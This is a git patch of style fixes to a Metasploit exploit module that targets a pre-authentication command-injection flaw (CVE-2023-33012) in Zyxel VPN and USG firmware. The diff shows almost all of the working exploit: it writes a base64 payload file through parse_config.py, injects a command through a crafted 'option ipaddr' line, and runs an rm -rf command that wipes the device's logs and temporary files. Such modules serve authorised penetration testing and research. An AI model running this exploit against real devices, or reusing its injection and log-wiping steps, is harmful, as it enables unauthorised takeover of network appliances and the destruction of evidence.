From d13ce0b1b81bf4d79cbf9400f9f7e8a13b0c02a6 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 27 May 2024 15:05:07 -0400 Subject: [PATCH] rubocop fixes --- .../linux/http/zyxel_parse_config_rce.rb | 106 +++++++++--------- 1 file changed, 51 insertions(+), 55 deletions(-) diff --git a/modules/exploits/linux/http/zyxel_parse_config_rce.rb b/modules/exploits/linux/http/zyxel_parse_config_rce.rb index 4b8788a1299c..fd10fbc10bc0 100644 --- a/modules/exploits/linux/http/zyxel_parse_config_rce.rb +++ b/modules/exploits/linux/http/zyxel_parse_config_rce.rb @@ -13,60 +13,56 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Zyxel parse_config.py Command Injection', - 'Description' => %q( + 'Name' => 'Zyxel parse_config.py Command Injection', + 'Description' => %q{ This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully, this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36. - ), - 'Author' => - [ - 'SSD Secure Disclosure technical team', # discovery - 'jheysel-r7' # module - ], - 'References' => - [ - [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'], - [ 'CVE', '2023-33012'] - ], - 'License' => MSF_LICENSE, - 'Platform' => ['linux', 'unix'], - 'Privileged' => true, - 'Arch' => [ ARCH_CMD ], - 'Targets' => - [ - [ 'Automatic Target', {}] - ], + }, + 'Author' => [ + 'SSD Secure Disclosure technical team', # discovery + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'], + [ 'CVE', '2023-33012'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'unix'], + 'Privileged' => true, + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ 'Automatic Target', {}] + ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-01-24', - 'Notes' => - { - 'Stability' => [ CRASH_SAFE, ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ], - 'Reliability' => [ REPEATABLE_SESSION, ], - }, + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } ) ) register_options( [ OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), - ], + ] ) end - def check res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js'), - }) + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js') + }) return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil? if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/ return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36') + return CheckCode::Safe end - CheckCode::Unknown("Version info was not found.") + CheckCode::Unknown('Version info was not found.') end def exploit @@ -76,9 +72,9 @@ def exploit payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr" command = payload.encoded - command += <<-CMD -2>/var/log/ztplog 1>/var/log/ztplog -(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) & + command += <<~CMD + 2>/var/log/ztplog 1>/var/log/ztplog + (sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) & CMD command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}" @@ -87,19 +83,19 @@ def exploit file_write_pload += "option name 1\n" config = Base64.strict_encode64(file_write_pload) - data = { "config" => config, "fqdn" => "\x00" } + data = { 'config' => config, 'fqdn' => "\x00" } print_status('Attempting to upload the payload via QSR file write...') file_write_res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'), - 'data' => data.to_s, - }) + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'), + 'data' => data.to_s + }) fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005') register_files_for_cleanup(payload_filepath) print_good('File write was successful.') - cmd_injection_pload = "option proto gre\n" + cmd_injection_pload = "option proto gre\n" cmd_injection_pload += "option name 0\n" cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n" cmd_injection_pload += "option netmask 24\n" @@ -107,26 +103,26 @@ def exploit cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n" cmd_injection_pload += "option remoteip #{Faker::Internet.private_ip_v4_address}\n" config = Rex::Text.encode_base64(cmd_injection_pload) - data = { "config" => config, "fqdn" => "\x00" } + data = { 'config' => config, 'fqdn' => "\x00" } cmd_injection_res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'), - 'data' => data.to_s, - }) + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'), + 'data' => data.to_s + }) fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005') - #Unecessary if running a fetch payload though adding for testing + # Unecessary if running a fetch payload though adding for testing cmd_ouput_res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py'), - }) + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py') + }) output = cmd_ouput_res.body.split("\n")[1] output = output.split("\n")[0] - output = output.gsub("\n\n
", "") - output = output.gsub("[IPC]IPC result: 1\n", "") - print_good("Command output: #{output}" ) + output = output.gsub("\n\n
", '') + output = output.gsub("[IPC]IPC result: 1\n", '') + print_good("Command output: #{output}") end -end \ No newline at end of file +end